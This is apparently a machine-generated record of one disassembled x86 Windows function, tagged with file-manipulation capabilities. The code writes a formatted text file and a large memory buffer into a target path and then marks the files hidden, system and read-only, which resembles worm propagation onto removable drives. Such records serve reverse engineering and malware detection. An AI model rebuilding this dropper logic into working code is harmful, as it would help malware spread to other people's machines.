Function at 0x40c252
Capabilities:
Check if file exists
Create directory
Delete directory
Delete file
Get file attributes
Get file size
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1440
call fcn.0040c760
and dword [ebp - 4], 0
and dword [ebp - 0x114], 0
or dword [ebp - 0x224], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 0x228], eax
mov dword [ebp - 4], 0x40e058
push 0x104
push 0
lea eax, [ebp - 0xb30]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push 0x40e088
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 4]
push dword [ebp + 8]
push 0x40d534
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x104
push 0
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40e098
lea eax, [ebp - 0x110]
push eax
push 0x40d3a4
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
movsx eax, byte [0x410000]
cmp eax, 0xffffff92
jne 0x40c33b
push 0
push 0xf9
push 0xa0
push 0x410000
call fcn.00402327
push 0x800
push 0
lea eax, [ebp - 0xa28]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40e0a4
push 0x40e098
push 0x40e058
push 0x40e0a4
push 0x40e098
push 0x40e058
push 0x40e098
push 0x40e058
push 0x410000
lea eax, [ebp - 0xa28]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x28
push 0x80
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
jne 0x40c529
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and eax, 0x10
je 0x40c42e
call fcn.00402415
push eax
push dword [ebp + 8]
push 0x40e0ac
lea eax, [ebp - 0x1438]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 1
lea eax, [ebp - 0x1438]
push eax
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x40c42e
jmp 0x40c63b
push 0x800
push 0
lea eax, [ebp - 0x1330]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0
push 3
push 0
push 1
push closesocket
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xffffffff
je 0x40c529
and dword [ebp - 0x143c], 0
push 0
lea eax, [ebp - 0x143c]
push eax
push 0x7fc
lea eax, [ebp - 0x1330]
push eax
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x1330]
push eax
lea eax, [ebp - 0xa28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40c529
push 0
push 0
push 3
push 0
push 1
push closesocket
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xffffffff
je 0x40c529
and dword [ebp - 0x1440], 0
push 0
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x1440], eax
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1440]
cmp eax, dword [0x413d8c]
jne 0x40c529
jmp 0x40c63b
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xffffffff
jne 0x40c55c
jmp 0x40c668
push 0
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0xa28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0xa28]
push eax
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40c5c4
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40c668
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xffffffff
jne 0x40c60e
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40c668
push 0
lea eax, [ebp - 0x114]
push eax
push dword [0x413d8c]
push dword [0x413d88]
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 7
lea eax, [ebp - 0x220]
push eax
call dword [ebp - 0x228]
push 7
lea eax, [ebp - 0x110]
push eax
call dword [ebp - 0x228]
push 7
lea eax, [ebp - 0xb30]
push eax
call dword [ebp - 0x228]
leave
ret 4